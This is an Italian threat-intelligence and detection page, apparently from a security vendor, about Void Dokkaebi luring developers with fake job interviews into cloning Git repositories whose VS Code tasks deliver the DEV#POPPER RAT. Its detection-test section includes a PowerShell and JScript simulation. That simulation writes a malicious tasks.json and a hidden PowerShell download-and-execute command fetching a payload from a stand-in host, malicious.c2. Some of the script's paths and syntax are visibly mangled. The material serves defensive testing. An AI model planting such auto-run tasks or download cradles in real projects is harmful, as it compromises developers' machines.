Falsi Colloqui Utilizzati da Void Dokkaebi per Diffondere Malware Attraverso Repository Git
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
Void Dokkaebi, un gruppo di minaccia collegato alla Corea del Nord, sta utilizzando false offerte di colloqui di lavoro per attirare sviluppatori a clonare repository malevoli. Una volta aperti, questi repository abusano di task di VS Code iniettati e JavaScript offuscato per trasformare progetti di codice affidabili in canali automatizzati di consegna malware. I repository infetti possono quindi contribuire a diffondere ulteriormente il compromesso tra ambienti di sviluppo ed ecosistemi connessi.
Indagine
Trend Micro ha scoperto oltre 750 repository pubblici infetti, oltre 500 configurazioni di task malevoli di VS Code e 101 casi che coinvolgono uno script batch personalizzato progettato per alterare i commit. L’analisi ha mostrato che il codice malevolo ha recuperato i payload tramite servizi basati su blockchain e ha infine consegnato una variante del RAT DEV#POPPER. Quel malware ha poi comunicato con l’infrastruttura dell’attaccante tramite canali basati su WebSocket e HTTP.
Mitigazione
Le difese raccomandate includono l’isolamento del codice ricevuto durante i processi di colloquio, l’aggiunta di .vscode/ to .gitignore, l’applicazione di commit firmati e protezione dei branch e l’audit dei repository per i marker di infezione noti. I team di sicurezza dovrebbero anche monitorare il traffico API blockchain per comportamenti sospetti e bloccare l’accesso agli URL di comando e controllo identificati. Gli sviluppatori dovrebbero considerare i prompt di fiducia di VS Code come un significativo checkpoint di sicurezza, non come un’azione di clic divulgativa.
Risposta
Se si sospetta un’infezione, isolare immediatamente la workstation interessata, revocare eventuali credenziali esposte, rimuovere i .vscode file task e il JavaScript iniettato, e condurre una revisione completa del repository impattato. Le difese di rete dovrebbero anche essere aggiornate per rilevare i pattern di comando e controllo noti e bloccare la comunicazione in uscita verso gli endpoint blockchain identificati.
"graph TB %% Class definitions classDef stage fill:#e6f7ff classDef technique fill:#fff2cc classDef file fill:#f0e68c classDef malware fill:#ffcccc classDef indicator fill:#d9ead3 %% Node definitions stage_initial["<b>Fase</b> – Accesso Iniziale<br/>L’attaccante attira lo sviluppatore con un falso colloquio e un repository Git malevolo"] class stage_initial stage tech_user_exec["<b>Tecnica</b> – T1204 Esecuzione Utente<br/>La vittima esegue contenuti malevoli come un link o codice copiato"] class tech_user_exec technique tech_malicious_link["<b>Tecnica</b> – T1204.001 Link Malevolo<br/>Il link indirizza la vittima a un repository malevolo"] class tech_malicious_link technique tech_malicious_copy["<b>Tecnica</b> – T1204.004 Copia e Incolla Malevoli<br/>Lo sviluppatore copia codice dal repository malevolo"] class tech_malicious_copy technique stage_repo_harvest["<b>Fase</b> – Raccolto del Repository<br/>Il repository clonato offre accesso al codice sorgente e a credenziali potenziali"] class stage_repo_harvest stage tech_code_repo["<b>Tecnica</b> – T1213.003 Dati da Repository di Informazioni: Repository di Codice<br/>L’avversario estrae dati dai repository di codice"] class tech_code_repo technique stage_execution_vs["<b>Fase</b> – Esecuzione tramite VS Code<br/>.vscode/tasks.json esegue automaticamente il downloader all’apertura della cartella"] class stage_execution_vs stage tech_trusted_ide["<b>Tecnica</b> – T1127 Esecuzione Proxy di Utilità Sviluppatore Affidabili<br/>Abuso delle estensioni IDE fidate per eseguire il codice"] class tech_trusted_ide technique tech_ide_ext["<b>Tecnica</b> – T1176.002 Estensioni Software: Estensioni IDE<br/>Il tasks.json malevolo avvia l’esecuzione"] class tech_ide_ext technique file_tasks_json["<b>File</b> – .vscode/tasks.json<br/>Configurato con runOn folderOpen per avviare il downloader"] class file_tasks_json file stage_payload_retrieval["<b>Fase</b> – Recupero del Payload<br/>Il downloader recupera i payload dagli endpoint RPC della blockchain"] class stage_payload_retrieval stage tech_resource_hijack["<b>Tecnica</b> – T1496 Dirottamento Risorse<br/>Utilizza l’infrastruttura blockchain per la consegna dei payload"] class tech_resource_hijack technique tech_obfuscation["<b>Tecnica</b> – T1027.007 File o Informazioni Offuscati: Risoluzione API Dinamica<br/>Il codice nasconde gli endpoint API e li risolve in fase di runtime"] class tech_obfuscation technique indicator_blockchain["<b>Indicatore</b> – Connessioni RPC blockchain in uscita<br/>Chiamate a api.trongrid.io aptoslabs.com e BSC RPC"] class indicator_blockchain indicator stage_module_hijack["<b>Fase</b> – Dirottamento del Modulo<br/>Directory .node_modules nascosta posizionata per precaricare i moduli Node malevoli"] class stage_module_hijack stage tech_shared_modules["<b>Tecnica</b> – T1129 Moduli Condivisi<br/>Modulo malevolo caricato prima di quelli legittimi"] class tech_shared_modules technique file_node_modules["<b>File</b> – Directory .node_modules<br/>Contiene il modulo dirottato"] class file_node_modules file stage_rat_deployment["<b>Fase</b> – Distribuzione RAT<br/>Variante RAT DEV#POPPER stabilisce WebSocket C2 ed esfiltra dati"] class stage_rat_deployment stage malware_devpopper["<b>Malware</b> – DEV#POPPER RAT<br/>WebSocket C2, esfiltrazione file, evita pipeline CI/CD"] class malware_devpopper malware indicator_c2["<b>Indicatore</b> – URL WebSocket C2"] class indicator_c2 indicator stage_persistence["<b>Fase</b> – Persistenza e Alterazione Commit<br/>Javascript malevolo iniettato nei file di configurazione e script batch modifica i commit"] class stage_persistence stage tech_timestomp["<b>Tecnica</b> – T1070.006 Rimozione Indicatore: Timestomp<br/>Modifica l’orologio di sistema per retrodatare i commit"] class tech_timestomp technique file_postcss["<b>File</b> – postcss.config.mjs<br/>Javascript offuscato iniettato"] class file_postcss file file_batch["<b>File</b> – temp_auto_push.bat<br/>Automatizza la modifica del commit e force-push"] class file_batch file stage_propagation["<b>Fase</b> – Propagazione<br/>Cartella .vscode malevola e codice committato, sviluppatori a valle ereditano l’infezione"] class stage_propagation stage tech_propagation["<b>Tecnica</b> – T1127 Esecuzione Proxy di Utilità Sviluppatore Affidabili<br/>Abuso ripetuto dell’IDE attraverso repository clonati"] class tech_propagation technique tech_repo_spread["<b>Tecnica</b> – T1213.003 Dati da Repository di Informazioni<br/>Il codice malevolo si diffonde tramite la condivisione del repository"] class tech_repo_spread technique indicator_detection["<b>Indicatore</b> – Rilevamento IOC<br/>Blockchain RPC, WebSocket C2, percorsi HTTP /verify-human/ e /u/f"] class indicator_detection indicator %% Connections stage_initial –>|usa| tech_user_exec tech_user_exec –>|include| tech_malicious_link tech_user_exec –>|include| tech_malicious_copy tech_malicious_link –>|consegna| stage_repo_harvest tech_malicious_copy –>|consegna| stage_repo_harvest stage_repo_harvest –>|sfrutta| tech_code_repo stage_repo_harvest –>|porta a| stage_execution_vs stage_execution_vs –>|usa| tech_trusted_ide stage_execution_vs –>|usa| tech_ide_ext stage_execution_vs –>|esegue| file_tasks_json stage_execution_vs –>|attiva| stage_payload_retrieval stage_payload_retrieval –>|usa| tech_resource_hijack stage_payload_retrieval –>|usa| tech_obfuscation stage_payload_retrieval –>|crea| indicator_blockchain stage_payload_retrieval –>|porta a| stage_module_hijack stage_module_hijack –>|usa| tech_shared_modules stage_module_hijack –>|contiene| file_node_modules stage_module_hijack –>|porta a| stage_rat_deployment stage_rat_deployment –>|distribuisce| malware_devpopper malware_devpopper –>|comunica con| indicator_c2 stage_rat_deployment –>|prepara per| stage_persistence stage_persistence –>|usa| tech_timestomp stage_persistence –>|modifica| file_postcss stage_persistence –>|esegue| file_batch stage_persistence –>|abilita| stage_propagation stage_propagation –>|usa| tech_propagation stage_propagation –>|usa| tech_repo_spread stage_propagation –>|produce| indicator_detection "
Flusso di Attacco
Rilevazioni
Possibile tentativo di abuso di Ethereum Publicnode come canale C2 (via dns_query)
Visualizza
Possibile infiltrazione / esfiltrazione dati / C2 tramite servizi / strumenti di terzi (via proxy)
Visualizza
Possibile infiltrazione / esfiltrazione dati / C2 tramite servizi / strumenti di terzi (via dns)
Visualizza
Possibile creazione di file di configurazione task automatici di VS Code in directory insolita [MACOS] (via file_event)
Visualizza
Possibile creazione di file di configurazione task automatici di VS Code in directory insolita [LINUX] (via file_event)
Visualizza
IOC (SourceIP) per rilevare: Lusinghe di colloqui falsi usate da Void Dokkaebi per diffondere malware tramite repository Git
Visualizza
IOC (DestinationIP) per rilevare: Lusinghe di colloqui falsi usate da Void Dokkaebi per diffondere malware tramite repository Git
Visualizza
Rilevamento dei Task malevoli VS Code di Void Dokkaebi e JavaScript Offuscato [Evento di File Windows]
Visualizza
Esecuzione della simulazione
Prerequisito: La verifica preliminare Telemetria e Baseline deve essere superata.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e il narrativo DEVONO riflettere direttamente le TTP identificate e mirano a generare la telemetria esatta prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.
-
Narrativa e Comandi dell’Attacco:
Un attaccante che ha convinto uno sviluppatore a clonare un repository malevolo inserisce un covert VS Codetasks.jsonnel progetto.vscodecartella. Il task fa riferimento a unotemp_auto_push.batscript situato nella directory temporanea del sistema. Il file batch viene generato al volo da uno snippet JavaScript offuscato che incorpora i markerglobal['!']andglobal['_V']. Quando lo sviluppatore apre la cartella in VS Code, il task si esegue automaticamente, eseguendo il file batch, che alla fine si connette a un server C2. Questa catena soddisfa T1053.007 (Task VS Code), T1127.003 (scorciatoia persistente tramite batch), e T1027.007 (offuscamento).I passaggi sono:
- Posizionare malevoli
tasks.jsoncon le stringhe richieste. - Creare il JavaScript offuscato che, quando valutato, scrive
temp_auto_push.batcontenente il comando malevolo. - Attivare l’esecuzione del task di VS Code (simulato invocando il task tramite
code --folder-uriCLI).
- Posizionare malevoli
-
Script Test di Regressione:
# ------------------------------------------------- # Simulazione Task VS Code & JS Offuscato Void Dokkaebi # ------------------------------------------------- $vscodeDir = "$env:USERPROFILE.vscode" $taskFile = Join-Path $vscodeDir "tasks.json" $tempBat = "$env:TEMPtemp_auto_push.bat" $jsPayload = @" (function(){ var g = global; g['!'] = true; // marcatore per il rilevamento g['_V'] = 'payload'; var cmd = 'powershell -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString(''http://malicious.c2/payload.ps1''))"'; var fso = new ActiveXObject('Scripting.FileSystemObject'); var file = fso.CreateTextFile('$tempBat', true); file.WriteLine(cmd); file.Close(); })(); "@ # 1. Assicurarsi che la cartella .vscode esista New-Item -ItemType Directory -Path $vscodeDir -Force | Out-Null # 2. Scrivere tasks.json malevolo @" { "version": "2.0.0", "tasks": [ { "label": "AutoPush", "type": "shell", "command": "cscript //nologo //E:jscript //B - <<'JS'n$jsPayloadnJS" } ] } "@ | Set-Content -Path $taskFile -Encoding UTF8 # 3. (Opzionale) Invocare direttamente il task per simulare l'auto-run di VS Code # Nota: In un ambiente reale VS Code analizzerà ed eseguirà questo task. Write-Host "Task malevolo di VS Code distribuito. Attivazione tramite esecuzione simulata..." cscript //nologo //E:jscript //B - <<'JS' $jsPayload JS Write-Host "Simulazione completata. Controllare il SIEM per l'allerta." -
Comandi di Pulizia:
# Rimuovere gli artefatti malevoli Remove-Item -Path "$env:USERPROFILE.vscodetasks.json" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPtemp_auto_push.bat" -Force -ErrorAction SilentlyContinue # Opzionalmente svuotare la directory .vscode se è stata creata esclusivamente per il test if ((Get-ChildItem "$env:USERPROFILE.vscode").Count -eq 0) { Remove-Item -Path "$env:USERPROFILE.vscode" -Force -Recurse -ErrorAction SilentlyContinue } Write-Host "Pulizia completata."